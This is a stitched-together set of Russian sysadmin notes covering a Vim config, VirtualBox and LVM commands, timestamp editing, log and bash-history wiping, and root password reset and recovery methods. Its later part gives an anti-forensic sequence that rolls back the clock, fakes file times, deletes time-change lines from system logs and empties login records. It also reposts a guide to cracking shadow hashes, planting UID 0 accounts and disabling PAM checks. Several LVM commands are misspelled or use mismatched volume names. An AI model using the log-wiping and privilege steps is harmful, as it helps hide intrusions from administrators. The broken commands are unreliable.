Plugin 'evidens/vim-twig'

" css
Plugin 'mtscout6/vim-tagbar-css'

" colors
Plugin 'damage220/solas.vim'
Plugin 'nanotech/jellybeans.vim'
Plugin 'mhartington/oceanic-next'

call vundle#end()

" settings
set tabstop=4
set softtabstop=4
set shiftwidth=4
set autoread
set autoindent
set smartindent
set rnu
set laststatus=2
set timeoutlen=500
set ttimeoutlen=0
set keymap=russian-jcukenwin
set iminsert=0
set imsearch=0
set encoding=utf-8
set termencoding=utf-8
set updatetime=500
set noswapfile
set splitright
set splitbelow
set nocompatible
set tags=./tags;
set ignorecase
set hidden
set hlsearch
set incsearch
set cursorline
set pumheight=10
set fillchars+=vert:\ 
let mapleader=","
filetype off
filetype plugin on
filetype plugin indent on
" autocmd CompleteDone * pclose

" color
syntax enable
set background=dark
colorscheme solas

" abbreviations
abbr help tab help

" mappings
imap df <Esc>l
nnoremap 2o o<CR>
nnoremap 2O O<Esc>O
nnoremap tm :tabm +1<CR>
nnoremap tM :tabm -1<CR>
nnoremap K H
nnoremap J L
nnoremap H gT
nnoremap L gt
nnoremap F :CtrlP<CR>
nnoremap ff :CtrlP<CR>
nnoremap ft :CtrlPBufTag<CR>
nnoremap fb :CtrlPBuffer<CR>
nmap fs <Plug>(easymotion-s)
nmap fl <Plug>(easymotion-sl)
nnoremap fc :NERDTreeFind<CR>
nnoremap fp :CtrlSF 
nnoremap <C-h> :noh<CR>
map <C-?> <plug>NERDCommenterComment
map <C-_> <plug>NERDCommenterToggle
nnoremap <C-d> :call PhpDoc()<CR>
nnoremap <C-m> :TagbarToggle<CR>
nnoremap <C-p> :NERDTreeToggle<CR>
nnoremap <C-g> :call SyntaxAttr()<CR>
inoremap <C-j> <C-n>
inoremap <C-k> <C-p>
cnoremap <C-j> <C-n>
cnoremap <C-k> <C-p>
autocmd FileType php noremap <C-u> :call PhpInsertUse()<CR>
nnoremap <F4> :tabe ~/.vimrc<CR>:tabm 0<CR>
nnoremap <F5> :w<CR>:so $MYVIMRC<CR>

" map <alt+n> to navigate through tabs
for c in range(1, 9)
	exec "set <A-".c.">=\e".c
	exec "map \e".c." <A-".c.">"

	let n = c - '0'
	exec "map <M-". n ."> ". n ."gt"
endfor

" nerdtree
let NERDTreeAutoDeleteBuffer = 1

" move
let g:move_key_modifier = 'C'

" youcompleteme
let g:ycm_server_python_interpreter='python'
let g:ycm_autoclose_preview_window_after_completion = 1
let g:ycm_key_list_select_completion = ['<Down>']

" emmet
let g:user_emmet_expandabbr_key = '<C-e>'

" airline
let g:airline_theme='solarized'
let g:airline_powerline_fonts = 1
let g:airline#extensions#tabline#enabled = 1
let g:airline#extensions#tabline#tab_min_count = 0
let g:airline#extensions#tabline#formatter = 'unique_tail'
let g:airline#extensions#tabline#show_buffers = 0
let g:airline#extensions#tabline#fnamemod = ':t'
let g:airline_section_warning = ''
let g:airline_section_error = ''
let g:airline#extensions#tabline#show_close_button = 0
let g:airline#extensions#tabline#left_alt_sep = ''
let g:airline#extensions#tagbar#enabled = 0
let g:airline#extensions#tabline#show_tab_nr = 1
let g:airline#extensions#tabline#tab_nr_type = 1

" easymotion
let g:EasyMotion_smartcase = 1
let g:EasyMotion_do_shade = 0
hi link EasyMotionTarget Search
hi EasyMotionTarget2First ctermfg=202 ctermbg=None cterm=None
hi EasyMotionTarget2Second ctermfg=202 ctermbg=None cterm=None

" session
let g:session_autoload = 'yes'
let g:session_autosave = 'yes'
let g:session_autosave_periodic = 5
let g:session_autosave_silent = 1
let g:session_default_to_last = 1

" NERDCommenter
let g:NERDSpaceDelims = 1

" html
au BufNewFile,BufRead *.tpl set filetype=html syntax=php

" syntastic
let g:syntastic_always_populate_loc_list = 1
let g:syntastic_auto_loc_list = 1
let g:syntastic_check_on_open = 1
let g:syntastic_check_on_wq = 0

" tagbar
let g:tagbar_sort = 0
let g:tagbar_width = 35
let g:tagbar_iconchars = ['+', '-']
let g:tagbar_map_close = '<C-m>'
let g:tagbar_type_php = {
	\'ctagstype': 'php',
	\'kinds': [
		\'i:interfaces',
		\'c:classes',
		\'d:constants',
		\'f:functions'
	\]
\}
let g:tagbar_type_javascript = {
\'ctagstype':'JavaScript',
	\'kinds' : [
		\'f:functions',
		\'c:classes',
		\'m:methods',
		\'p:properties'
	\]
\}

" delimitmate
let delimitMate_expand_cr = 1
let delimitMate_expand_space = 1
au FileType vim,html let b:delimitMate_matchpairs = "(:),[:],{:},<:>,>:<"

" NERDTree
" let g:NERDTreeDirArrowExpandable = '+'
" let g:NERDTreeDirArrowCollapsible = '-'

" ctrlp
let g:ctrlp_by_filename = 1
let g:ctrlp_working_path_mode = 'wr'
let g:ctrlp_map = ''
let g:ctrlp_buftag_types = {
	\'php': '--php-kinds=icdf'
\}

" ctrlsf
let g:ctrlsf_position = 'right'

" easytags
let g:easytags_file = './tags'
let g:easytags_auto_highlight = 0
let g:easytags_events = ['BufWritePost']
let g:easytags_async = 1
vim как ide
Предвидя некоторые вопросы в стиле: «как в vim'e рефакторить код также удобно, как и в моей любимой ide?», пожалуй, отвечу сразу.



Если вы заядлый vim'ер, то вам могут понравиться следующие расширения для chrome:



vimium
Расширение добавляет комбинации для навигации по странице и удобному перемещению по ссылкам, подробнее.

wasavi
Добавляет основные возможности vim'a для работы с текстовыми полями. Расширение можно активировать, нажав \<Insert\>, <C-enter> или же при фокусе текстового поля (настраивается).



PS: вместо родного символа комментария viml (двойная кавычка), я решил использовать "//", поскольку viml на хабре нет, и я не знаю, есть ли язык со схожим комментированием кода.

PS2: некоторые комбинации экранированы символом "\", дабы парсер не считал их за html-теги. Тег «pre» — блочный, решил, что лучше уж так.



UPD: добавлена поддержка gui для solas.

http://itnan.ru/post.php?c=1&p=303524
https://habrahabr.ru/post/303524/
Удобный Vim

Оригинал взят у [livejournal.com profile] viking_k в Управление VirtualBox из консоли
Установка VirtualBox

Редактируем список репозитариев:

nano /etc/apt/sources.list

------
# Oracle virtualbox
deb             http://download.virtualbox.org/virtualbox/debian wheezy contrib
------


Устанавливаем:
apt-get update
apt-get install virtualbox
adduser user vboxusers

Устанавлием плагины:
VBoxManage extpack install Oracle_VM_VirtualBox_Extension_Pack-4.1.42-103435a.vbox-extpack

Импорт/Экспорт ВМ

Экспортируем ВМ
vboxmanage export VMNAME --output vmname.ova
Импорируем ВМ
vboxmanage import vmname.ova --vsys 0 --vmname VMNAME2
Клонирование
vboxmanage clonevm VMNAME --name VMNAME2 --register
Переименование
vboxmanage modifyvm VMNAME --name VMNAME2

Создание ВМ
Смотрим список шаблонов ВМ
vboxmanage list ostypes | egrep ^ID
Создаем новую виртуалку:
vboxmanage createvm --name ubuntu1604 --ostype Ubuntu_64 --register
Меняем параметры ВМ — указываем количество памяти и тд:
vboxmanage modifyvm ubuntu1604 --cpus 1 --memory 512 --audio none --usb off --acpi on --boot1 dvd --nic1 nat
Создаем жесткий диск размером 10 Гб (место по дэфолту не преаллоцируется):
vboxmanage createhd --filename /home/eax/virtualbox/ubuntu1604/ubuntu1604.vdi --size 10000
Цепляем созданный жесткий диск к виртуалке:
vboxmanage storagectl ubuntu1604 --name ide-controller --add ide
vboxmanage storageattach ubuntu1604 --storagectl ide-controller \
--port 0 --device 0 --type hdd --medium /home/eax/virtualbox/ubuntu1604/ubuntu1604.vdi
Цепляем к ВМ ISO-образ, с которого будет происходить установка системы:
vboxmanage storageattach ubuntu1604 --storagectl ide-controller \
--port 0 --device 1 --type dvddrive --medium /home/eax/data/iso/ubuntu-16.04.1-server-amd64.iso
Когда диск нам будет не нужен его можно вынуть
vboxmanage storageattach archlinux1 --storagectl ide-controller \
--port 0 --device 1 --type dvddrive --medium emptydrive

Включаем удаленный доступ к ВМ

Подключение в ВМ стандартными RDP средствами.
vboxmanage modifyvm ubuntu1604 --vrde on
vboxmanage modifyvm ubuntu1604 --vrdeaddress 0.0.0.0
vboxmanage modifyvm ubuntu1604 --vrdeport 3001

Проброс SSH ssh -p 2222 root@localhost
vboxmanage modifyvm ubuntu1604 --natpf1 "ssh-forwarding,tcp,,2222,,22"
Запуск/Остоновка ВМ

Запуск в фоне
vboxmanage startvm --type headless VMNAME
Пауза
vboxmanage controlvm VMNAME pause
Возобновление
vboxmanage controlvm VMNAME resume
Остановка
vboxmanage controlvm VMNAME poweroff

Изменение

Подключаем виртуальный сетевой кабель на 1 интерфейсе
vboxmanage modifyvm gate --cableconnected1 on
Меняем тип сетевой карты на 1 интерфейсе
vboxmanage modifyvm gate --nictype1 Am79C973
Устанавливаем режим бриджа  на 1 интерфейсе
vboxmanage modifyvm gate --nic1 bridged --bridgeadapter1 lan.200
Устанавливаем режим НАТа  на 1 интерфейсе
vboxmanage modifyvm gate --nic1 nat

Созадем правило разначивания
vboxmanage modifyvm ubuntu1604 --natpf1 "ssh-forwarding,tcp,,22001,,22"
Удаляем это правило
vboxmanage modifyvm ubuntu1604 --natpf1 delete ssh-forwarding
Информация

Список всех виртуалок:
vboxmanage list vms
Список запущенных виртуалок:
vboxmanage list runningvms
Настройки VirualBox:
vboxmanage list systemproperties
Настройки ВМ:
vboxmanage showvminfo gate

Удаляем ВМ
vboxmanage unregistervm VMNAME2 --delete



У нас есть виртуальная машина на VMware, на ней есть диск. Диск большой, данных мало. Наша задача - сделать диск меньшего размера. На борту Logical Volume Manager (LVM). Gparted не умеет переносить данные на LVM разделах. Будем делать всё руками.
раскрыть
1. Остановка процессов на сервере.
2. Создаём клон виртуалки. Вдруг мы всё запорем - возрадуемся бэкапу как родному.
3. Пока создаётся клон рассчитаем место, которое нужно оставить на дисках.

df -h
Filesystem                              Size  Used Avail Use% Mounted on
/dev/mapper/vg_smartfe00-lv_root         50G   15G   33G  30% 
/tmpfs                                  7.8G     0  7.8G   0% /dev/shm
/dev/sda2                               477M  104M  348M  23% /boot
/dev/sda1                               197M  253K  197M   1% /boot/efi
/dev/mapper/vg_smartfe00-lv_home        211G   11G  190G   6% /home

lv_root уменьшим с 50G до 30G
lv_home уменьшим с 211G до 25G

4. Выключить ось.
5. Переключить UEFI на BIOS.
6. Переключить vlan на PXE или вставляем образ Resque CD или GParted Live
7. Загрузиться с Resque CD.
8. Через gparted убеждаемся в том, что /dev/sdb активен (не обязательно).
9. Уменьшаем размеры файловых систем, уменьшаем логические разделы, сдвигаем данные к началу диска, уменьшаем физический раздел.

Список групп:
vgdisplay

Список логических томов:
lvdisplay

Список дисков
pvdisplay

Ресайзим root до 30 Гб:
e2fsck -f /dev/mapper/vg_smartfe00-lv_home
resise2fs /dev/mapper/vg_smartfe01-lv_root 30G

Ресайзим home до 25 Гб:
e2fsck -f /dev/mapper/vg_smartfe00-lv_home
resise2fs /dev/mapper/vg_smartfe01-lv_home 25G

Уменьшаем размер логических томов:
lvreduce -L 30G /dev/mapper/vg_smartfe01-lv_root
lvreduce -L 25G /dev/mapper/vg_smartfe01-lv_home

Далее все сегменты вычисляем на калькуляторе для каждого сервера! Смысл в том, чтобы перемещать сегменты только на пустое место.

Список сегментов:
pvs -v --segments /dev/sdb1

Включаем мозг, понимаем куда двигать home и сдвигаем его подальше:
pvmove --alloc anywhere /dev/sdb1:12800-19199

Снова смотрим список сегментов:
pvs -v --segments /dev/sdb1

Двигаем home вплотную к root:
vmove --alloc anywhere /dev/sdb1:19200-25599 /dev/sdb1:7680-14079

Двигаем swap вплотную к home:
pvmove --alloc anywhere /dev/sdb1:67083-71110 /dev/sdb1:14080-18107

Дальше запускаем gparted и работаем через него.
gparted - деактивируем /dev/sdb
gparted - ресайзим /dev/sdb1

10. Смотрим инфо получившегося /dev/sdb1 - total sector 148350848.
Вычисляем размер нового диска 148350848*512/1024/1024=72436,9375 Мб
Новый диск будем делать 72438 Мб, это в три раза меньше того, что было.
11. Выключаем ось.
12. Добавляем через vCenter новый диск на 72438 Мб.
13. Снова загружаемся через Resque CD.
14. gparted на /dec/sdc делаем device - create partition table.
15. gparted на /dev/sdc делаем новый раздел /dev/sdc1 в файловой системе lvm2 pv
16. Проверяем через инфо, чтобы количество секторов на /dev/sdc1 (148350976) было не меньше чем на /dev/sdb1 (148350848).
17. Расширяем группу:
vgextend vg_smartfe00 /dev/sdc1

18. Мувим диск с /dev/sdb1 на /dev/sdc1:
pvmove /dev/sdb1 /dev/sdc1

19. Исключаем из группы /dev/sdb1:
vgreduce vg_smartfe00 /dev/sdb1

20. gparted - деактивируем диск /dev/sdc1.
21. gparted - check диска /dev/sdc1 - дополнительно раздел расширяется до полного объёма.
22. Выключаем ось.
23. Удаляем ненужный более диск через vCenter.
24. Переключаем BIOS обратно на EFI.
25. Переключаем vlan на боевой, если ранее переключались на PXE.
26. Включаем тачку.


Это все шаги, необходимые для изменения размера раздела LVM или LVM2.
These are all the steps required to resize a LVM or LVM2 partition

sudo lvresize --verbose --resizefs -L -150G /dev/ubuntu/root

sudo pvresize --setphysicalvolumesize {any size here} /dev/sda5

/dev/sda5: cannot resize to xxxxx extents as later ones are allocated.

You have to rearrange the unallocated space at the end of the LVM. That means after root and swap_1 partition. So, you need to move that free space using the command below

pvs -v --segments /dev/sda5

This will show the output like below
/dev/sda5 ubuntu lvm2 a-- 698.04g 150g 0 xxx root 0 linear /dev/sda:0-xxx
/dev/sda5 ubuntu lvm2 a-- 698.04g 150g xxx yyyy 0 free
/dev/sda5 ubuntu lvm2 a-- 698.04g 150g yyyy end swap 0 linear /dev/sda5:yyyy-end
Now use the command below to remove external fragmentation -

sudo pvmove --alloc anywhere /dev/sda5:yyyy-end
Now let us see how it goes -

pvs -v --segments /dev/sda5

This will show the output like below
/dev/sda5 ubuntu lvm2 a-- 698.04g 150g 0 xxx root 0 linear /dev/sda:0-xxx
/dev/sda5 ubuntu lvm2 a-- 698.04g 150g xxx yyyy swap 0 linear /dev/sda5:xxx-yyyy
/dev/sda5 ubuntu lvm2 a-- 698.04g 150g yyyy end 0 free
After that use the gparted and resize the LVM to maximum used area and rest will be in unallocated space.

https://internet-lab.ru/lvm_resize
Увеличение LVM томов Debian 8.3 (на виртуальной машине Hyper-V)

В этой статье мы расскажем как пользоваться Asterisk CLI (Command Line Interface), или проще говоря командной строкой Asterisk. CLI необходима для дебага ошибок и управления самим Asterisk.
Read more... )
https://voipnotes.ru/komandy-cli-asterisk/
https://asterisk-pbx.ru/wiki/asterisk/asterisk_cli

если после обновления внезапно перестали работать flash игры во всяких вконтактиках, при этом flash установлен, то лечится так:

1. отклыть chrome://flags/
2. найти "Использовать HTML вместо Flash Mac, Windows, Linux, Chrome OS" (нажать Ctrl + F ввести flash)
3. поставить "Отключено"
4. нажать на появившуюся внизу синюю кнопку "перезапустить"


изменить время
https://man.freebsd.org/cgi/man.cgi?date

рекурсивная замена даты изменения файлов и папок в директории
find . -exec touch {} \;
find . -exec touch -mat 197001010000.00 {} \;

ORIGTS=`stat -c "%Y" $f`
touch -d @$ORIGTS $f
touch $(date --date=@$ORIGTS +%Y%m%d%H%M.%S) $f
find . -exec touch -mat $(date --date=@$ORIGTS +%Y%m%d%H%M.%S) {} \;

проверка
ls -ltr
stat файл
ls -l файл
ls --full-time файл


https://www.nirsoft.net/utils/bulk_file_changer.html
far ctrl+A

Временные параметры файла - atime mtime ctime
Linux — Изменить Метки Времени Файла (Access, Modify, Change)
systemctl stop systemd-timesyncd
hwclock --set --date="2011-08-14 16:45:05"
hwclock -s
hwclock -w
изменить время внутри каталога
find ./ -exec touch -a -m -t 201512180130.09 {} \;
изменить время локальной папки tmp
find ./tmp -exec touch -a -m -t 201512180130.09 {} \;
systemctl start systemd-timesyncd

Из файла /var/log/messages удалите строки с информацией об изменении системного времени (необходим root):

Очистите историю входов в Linux (необходим root):

$ sudo echo > /var/log/wtmp
$ sudo echo > /var/log/btmp
$ sudo echo > /var/log/lastlog
Очистите историю текущей сессии:

$ history -r
hwclock                       - показать аппаратное время
hwclock --help                - вывести подсказку по утилите
hwclock --hctosys             - установить системное время в соответствии с аппаратными часами
hwclock --systohc --debug     - установить аппаратные часы в соответствии с системным временем с выводом отладочной информации
hwclock --set --date="2011-01-25 08:55:01"    - установка конкретного значения аппаратного времени
hwclock --set --date="$(date --utc +'%F %T')" - установка конкретного значения аппаратного времени

hwclock --systohc --localtime
timedatectl set-local-rtc 0


ntpdate pool.ntp.org
timedatectl set-ntp true

nano /etc/chrony.conf
systemctl start chronyd
systemctl enable chronyd
chronyc sources

timedatectl status

Очистить Историю Команд в BASH
Полностью удалить историю Bash
$ history -cw
-c Очистить файл истории
-w Внести команды текущей сессии в файл с историей

Удалить определенную строку из истории Bash
$ history -dw 352
-d Удалить строку с указанным номером из истории

Очистить историю команд текущей сессии
$ history -r
-r Прочитать файл с текущие историей и добавить его содержимое к списку истории команд

Не сохранять команду в истории Bash
$ <пробел>команда

Не сохранять все команды текущей сессии в истории Bash
Отключение HISTFILE приводит к тому, что пока Вы не выйдите из текущей сессии, любые команды которые Вы будете выполнять не будут сохраняться в файле с историей bash_history:
$ unset HISTFILE

настройка отображения времени в истории команд
https://www.shellhacks.com/ru/tune-command-line-history-bash/

добавить метки времени в .bash_history
nano .bashrc
export HISTTIMEFORMAT='%F %T '
или просто
HISTTIMEFORMAT='%F %T '

Чтобы добавлять новые команды в файл с историей, а не переписывать его каждый раз
shopt -s histappend

Увеличиваем Размер Хранимой Истории
HISTSIZE — количество команд
export HISTSIZE=5000
HISTFILESIZE — максимальное количество строк
export HISTFILESIZE=5000

Не сохранять команды ls, ps и history
export HISTIGNORE="ls:ps:history"

Сохранять все строки многострочной команды в одной записи списка истории :
shopt -s cmdhist

применить изменения
source ~/.bashrc

проставить нулевые метки в .bash_history
sed -ie '/^/i\#0000000001' /root/.bash_history
удалить их
sed -i '/#0000000001/d' /root/.bash_history

Однострочные скрипты sed
Использование SED. Полезные команды SED

Конвертер даты и времени в UNIX формат
https://time.is/ru/Unix_time_converter

Очистить или Удалить Историю Входов в Linux
https://www.shellhacks.com/ru/clear-remove-last-login-history-linux/
В Linux системах есть три стандартные команды, которые показывают информацию о последних подключавшихся пользователях: last, lastb, и lastlog.
Команда  Журнал логов	  Описание
last	/var/log/wtmp	  История успешных входов/выходов
lastb	/var/log/btmp	  История неудавшихся попыток входа
lastlog	/var/log/lastlog  Список последних подключавшихся пользователей

Для удаления всей информации о последних подключавшихся пользователях необходимо очистить журналы с логами:

# echo > /var/log/wtmp
# echo > /var/log/btmp
# echo > /var/log/lastlog

Кто же был на сервере?
Файлы /var/run/utmp и /var/log/wtmp содержат журналы для входа и выхода из системы.
Эти два файла представляют собой двоичные файлы.
who

Файл /var/log/wtmp записывает все логины и логауты

last mia # узнать дату создания файла wtmp
lastlog
last | head -5
lastb # неудачные попытки входа в систему
tail /var/log/secure

быстро глянуть пользователей
compgen -u
cat /etc/passwd | awk /bash/{print}

сброс пароля

узнать OS
cat /proc/version
*************************************************************************

Отредактировать пункт меню, загружающий систему, сделав так, чтобы первым аргументом командной строки ядра было слово ebash.
[меняем строчку linux... после цифр ( например 3.10.108) перед boot прописываем ebash то есть будет строчка вида :
linux ... ebash boot ro].
Нажимаем F10

Чтобы скинуть пароль, надо смонтировать корневую ФС.
Корневая ФС у нас на lvm. Надо проинициализировать lvm:
lvm vgchange -ay

После этого должно появиться устройство
/dev/vg0/SYSTEM - это корневая ФС.

Надо её куда-то смонтировать. После этого можно сделать chroot в неё. Например:
mount /dev/vg0/SYSTEM /mnt/root
chroot /mnt/root /bin/bash

После этого можно скинуть пароль через
passwd

*************************************************************************
https://voxlink.ru/kb/linux/kak-sbrosit-zabytyj-parol-root-v-rhel-centos-i-fedora/
Сброс пароля root помощью редактирования файла /etc/passwd

Если у вас установлена 32 битная ОС, вам потребуется загрузочный диск с Linux x32 и наоборот. Загрузитесь с Live-диска или установите жесткий диск, где установлена система с забытым паролем в другой компьютер с ОС Linux.

Создайте поддиректорию

# mkdir /mnt/centos
Определите системный диск (sda1, sda2). Утилита fdisk выведет информацию о существующих разделах диска.

#fdisk -l
Смонтируйте системный раздел:

# mount /dev/sda2 /mnt/centos
Необходимо изменить файл /mnt/centos/etc/shadow, удалив из него хэш пароля пользователя root

# sudo vi /mnt/centos/etc/shadow
Найти строку, начинающуюся с root: . После двоеточия будет строка с хэшем вида: „$6$CWdx4fdslxDol…“. Нажмите i, чтобы войти в режим редактирования. После удаления символов должна получиться строка вида:
root::0:0:99999:7:::
нужно стереть хэш сумму между первым и вторым двоеточием.


! знак - root не может логинится
root:!:0:0:99999:7:::

Т.е. между „root” и номером группы пользователя “root” должно стоять два знака двоеточия «::» (root::0). Нажмите Esc чтобы выйти из режима редактирования, сохраните файл — нажмите «:wq» и Enter.

В /mnt/centos/etc/passwd в строке, относящейся к root символ «x» необходимо заменить на, «*». Помните, что файлы /etc/passwd и /etc/shadow, относятся к Live-системе.

Перезагрузите систему. Введите имя пользователя root, на запрос пароля нажмите Enter и после этого сможете попасть в систему без пароля. После перезагрузки не забудьте сразу новый пароль у пользователя root.
*************************************************************************


https://disnetern.ru/password-reset-root-centos-red-hat/
Если Вы забыли root пароль на линуксе CentOS Вам нужно провести данные манипуляции:

1) При загрузке останавливаем загрузчик на GRUB нажатием любой кнопки.
2) Выбираем нужную строчку и нажимаем e.
3) Выбираем строчку с kernel (kernel /vmlinuz /…версия ядра…/ root=LABEL=/)
4) Дописываем в конец строки single и нажимаем Enter
5) Нажимаем b для загрузки системы
6) После загрузки меняем пароль (passwd)
Данная методика работает почти на всех ОС линукс.


*************************************************************************
https://losst.ru/kak-smenit-parol-v-linux
сначала нам нужно получить зашифрованный пароль. Это можно сделать несколькими способами, например с помощью openssl:

openssl passwd -1 -salt xyz yourpass

Замените xyz на любую случайную комбинацию символов, чем больше, тем лучше; yourpass - это ваш новый пароль.
Скопируйте полученный результат в буфер обмена, затем откройте файл /etc/shadow и найдите там нужного пользователя. Я хочу сменить пароль Linux для test:

sudo vi /etc/shadow

Синтаксис этого файла такой:

имя_пользователя:пароль:::::

Следующее поле указывает на последнее изменение пароля в виде количества дней, прошедших с первого января 1970

*************************************************************************
https://max-ko.ru/13-sbros-parolja-root.html
https://itdoxy.com/как-сбросить-пароль-root-в-fedora/

1. При загрузке системы нажмите e, когда появится меню загрузки GRUB 2.

2. Введите rd.break в качестве аргумента загрузки в строку, которая загружает ядро, и нажмите Ctrl + X, чтобы загрузить эту опцию.

замените rhgb quiet следующей строчкой.
rd.break enforcing=0
Добавление ‘enforcing = 0’ приведёт к игнорированию всей системы меток SELinux. После перезапуска системы, восстановите для файла ‘/etc/shadow’ соответствующий контекст SELinux, как будет показано ниже.

3. Теперь вы будете отброшены в конце этапа загрузки, на котором загружается initramfs, непосредственно перед монтированием корневой файловой системы в каталог /.

4. Введите mount -o remount,rw /sysroot, чтобы получить доступ для чтения/записи к образу системы.

5. На этом этапе сделайте содержимое каталога /sysimage вашим новым корневым каталогом, введя chroot /sysroot.

6. Теперь вы можете ввести passwd и установить новый пароль для пользователя root.

7. Поскольку на этом очень раннем этапе загрузки SELinux еще не был активирован, тип контекста в /etc/shadow будет испорчен. Если вы перезагрузитесь в этот момент, никто не сможет войти в систему. Поэтому вы должны убедиться, что тип контекста установлен правильно. Для этого вы должны загрузить политику SELinux с помощью load_policy -i.

8. Теперь вы можете вручную установить правильный тип контекста в /etc/shadow. Для этого введите chcon -t shadow_t /etc/shadow.

9. Перезагрузка. Теперь вы можете войти с измененным паролем пользователя root.

*************************************************************************
Загрузиться с любой Live Linux системы, подмонтировать необходимую партицию стационарной системы в точку_монтирования и вычистить шифрованные пароли из следующих файлов:

/точка_монтирования/etc/passwd
Здесь в строчке, относящейся к руту надо символ «x» заменить на звёздочку, «*».

/точка_монтирования/etc/shadow
Здесь надо удалить всю строку, относящуюся к руту.
*************************************************************************

https://b14esh.com/kali/сброс-пароля-reset-password.html
/etc/passwd — файл, содержащий в текстовом формате список пользовательских учётных записей.
Каждая строка файла описывает одного пользователя и содержит семь полей, разделённых двоеточиями:
login : password : UID : GID : GECOS : home : shell
root:lZTB0KTrSKy8M:0:0:root:/root:/bin/sh
1. регистрационное имя, или логин;
2. хеш пароля (см. ниже);
3. идентификатор пользователя;
4. идентификатор группы по умолчанию;
5. информационное поле GECOS*;
6. начальный (он же домашний) каталог;
7. регистрационная оболочка, или shell.


Основным назначением /etc/passwd является сопоставление логина(login) и идентификатора пользователя (UID).
Изначально поле пароля содержало хеш пароль и использовалось для аутентификации. Однако, в связи с ростом вычислительных
мощностей процессоров появилась серьёзная угроза применения простого перебора для взлома пароля. Поэтому все пароли
были перенесены в специальные файлы, такие как /etc/shadow в GNU/Linux или /etc/master.passwd во FreeBSD.
Эти файлы недоступны для чтения обычным пользователям. Такой подход называется механизмом скрытых паролей.
В файле /etc/shadow хранятся хеши паролей всех пользователей в системе. Процессы суперпользователя могут читать его напрямую,
а для остальных создана специальная библиотека PAM. Она позволяет непривилегированным приложениям спрашивать у неё, правильный
ли пароль ввёл пользователь, и получать ответ. Таким образом, хеш не попадает «в чужие руки». Дело в том, что злоумышленник,
имея набор хешей, всегда может осуществить атаку путём перебора паролей. Например, слова из словаря являются ненадёжными паролями,
так как можно зашифровать словарь целиком и поискать хеши в том, что получится. Одна из наилучших программ,
выполняющих такого рода атаки — John The Ripper. Также весьма популярна утилита crack.
Фрагмент файла /etc/shadow
login : хеш-password : ....
john:13$80l1AVB5$6AdyTstdHpsSTsewiac8O1:13283:0:31:3:14:13514:

От теории к практике:

Процесс получения прав root делится на 2 этапа - получение доступа(чтения и/или записи) к файлам /etc/passwd и /etc/shadow
и в зависимости от того какой вы получили доступ к файлам
проделываем не хитрые махенации с системой:

1) допустим у нас доступ на чтение тогда выдергиваем хеш-пароль из /etc/passwd root:lZTB0KTrSKy8M:0:0:root:/root:/bin/sh - lZTB0KTrSKy8M,
если в нем нет пароля в моем случае x свидетельствует что используется механизм скрытых паролей root:x:0:0:root:/root:/bin/sh то обращаемся к файлу /etc/shadow root:13$/Xhw3kaR$Vif2djTL4aQshu8aKfkl0/:12545:0:99999:7::: - 13$/Xhw3kaR$Vif2djTL4aQshu8aKfkl0/
далее получив хеш-пароль мы должны его расшифровать точне осуществить атаку путём перебора паролей
с помощью программ типа John The Ripper, Slurpie или crack.
John The Ripper — быстрая и гибкая программа подбора пароля. Она может использовать несколько списков слов
и подбирать пароль методом грубой силы. Она доступна по адресу http://www.openwall.com/john/.
Crack — возможно, наиболее известная программа взлом паролей. Crack также очень быстрая программа, хотя
и не так проста в использовании, как John The Ripper. Её можно найти по адресу http://google.com/. :)
Slurpie — программа Slurpie похожа на John The Ripper и Crack, но она рассчитана на работу сразу на нескольких компьютерах,
и позволяет провести распределённый взлом пароля. Её, а также другие средства организации распределённой атаки,
можно найти по адресу http://www.ussrback.com/distributed.htm.

2) допустим у нас доступ на чтение/запись тогда можно:
а)сменить идентификатор пользователя (UID) у которого вы случайно не забыли пароль как все мы помним в системе могут
существовать несколько пользователей с одним идентификатором(UID). Это нередко используется взломщиками, когда они после
проникновения в систему создают себе учётную запись с UID=0. В результате они выглядят как обычные пользователи,
но на самом деле имеют права root.
b)стереть хеш-пароль в /etc/passwd или в /etc/shadow то есть 'обнулить' его или встаить хеш-пароль пользователя
у которого вы случайно не забыли пароль.
c)отключить аутенфикацию паролей в системе если я не ошибаюсь то делается это так в файле /etc/pam.d/passwd
коментируем строчку #password required pam_stack.so service=system-auth.
d)тупо ввести команду #passwd root.

Процесс получения доступа

1) Грузимся с какого-либо LiveCD/flash/дискетки и восстанавливаемся... Надеюсь, файловые системы не шифрованы :)
2) Можно загрузится с инсталляционного диска. А дальше смонтировать корень поставленного линукса например в /mnt
и chroot /mnt после чего passwd или текстовый редактор на /etc/shadow в помощь :)
3) Если нет(или не забыл) пароля на загрузчик, то передаем ядру init=/bin/bash, если нужно перемонтируй раздел в rw,
смени пароль, обратно в ro и reboot. На своей машине я делал так, нажал "a" при выборе партиции в grub и дописал init=/bin/bash ч/з 10 сек в консоли :)
4) Загружайся в single user. В 9-ом редхате при загрузке в single user получаешь рутовскую консоль без пароля но в ASP 11.2
запрашивает пароль рута нажал "a" при выборе партиции в grub и дописал s
5) Задаем другой root-partition грузимся с другого раздела root=/dev/sda2
6) При загрузке grub нажать "c" попадаем в командную строчку и cat /etc/passwd :)

*************************************************************************
https://andreyex.ru/linux/ponimanie-fajla-etc-shadow/

Cуществует несколько разных схем аутентификации, которые можно использовать в системах Linux. Наиболее часто используется и стандартная схема для выполнения аутентификации файлов /etc/passwd и /etc/shadow.

/etc/shadow – это текстовый файл, содержащий информацию о паролях пользователей системы. Он принадлежит пользователю root и группе shadow и имеет 640 разрешений.

 

Формат /etc/shadow

Файл /etc/shadow содержит одну запись в каждой строке, каждая из которых представляет собой учетную запись пользователя. Вы можете просмотреть содержимое файла с помощью текстового редактора или команды, такой как cat:

sudo cat /etc/shadow

 

Как правило, первая строка описывает пользователя root, затем системные и обычные учетные записи пользователей. Новые записи добавляются в конец файла.

Каждая строка файла /etc/shadow содержит девять полей, разделенных запятыми:

mark:$6$.n.:17736:0:99999:7:::
[--] [----] [---] - [---] ----
|      |      |   |   |   |||+-----------> 9. Неиспользованный
|      |      |   |   |   ||+------------> 8. Срок годности
|      |      |   |   |   |+-------------> 7. Период бездействия
|      |      |   |   |   +--------------> 6. Период предупреждения
|      |      |   |   +------------------> 5. Максимальный возраст пароля
|      |      |   +----------------------> 4. Минимальный возраст пароля
|      |      +--------------------------> 3. Последнее изменение пароля
|      +---------------------------------> 2. Зашифрованный пароль
+----------------------------------------> 1. Имя пользователя
  1. Имя пользователя. Строка, которую вы вводите при входе в систему. Учетная запись пользователя, которая существует в системе.
  2. Зашифрованный пароль. Пароль использует формату $type$salt$hashed. $type является методом криптографического алгоритма хеширования и может иметь следующие значения:
    • $1$ – MD5
    • $2a$ – Blowfish
    • $2y$ – Eksblowfish
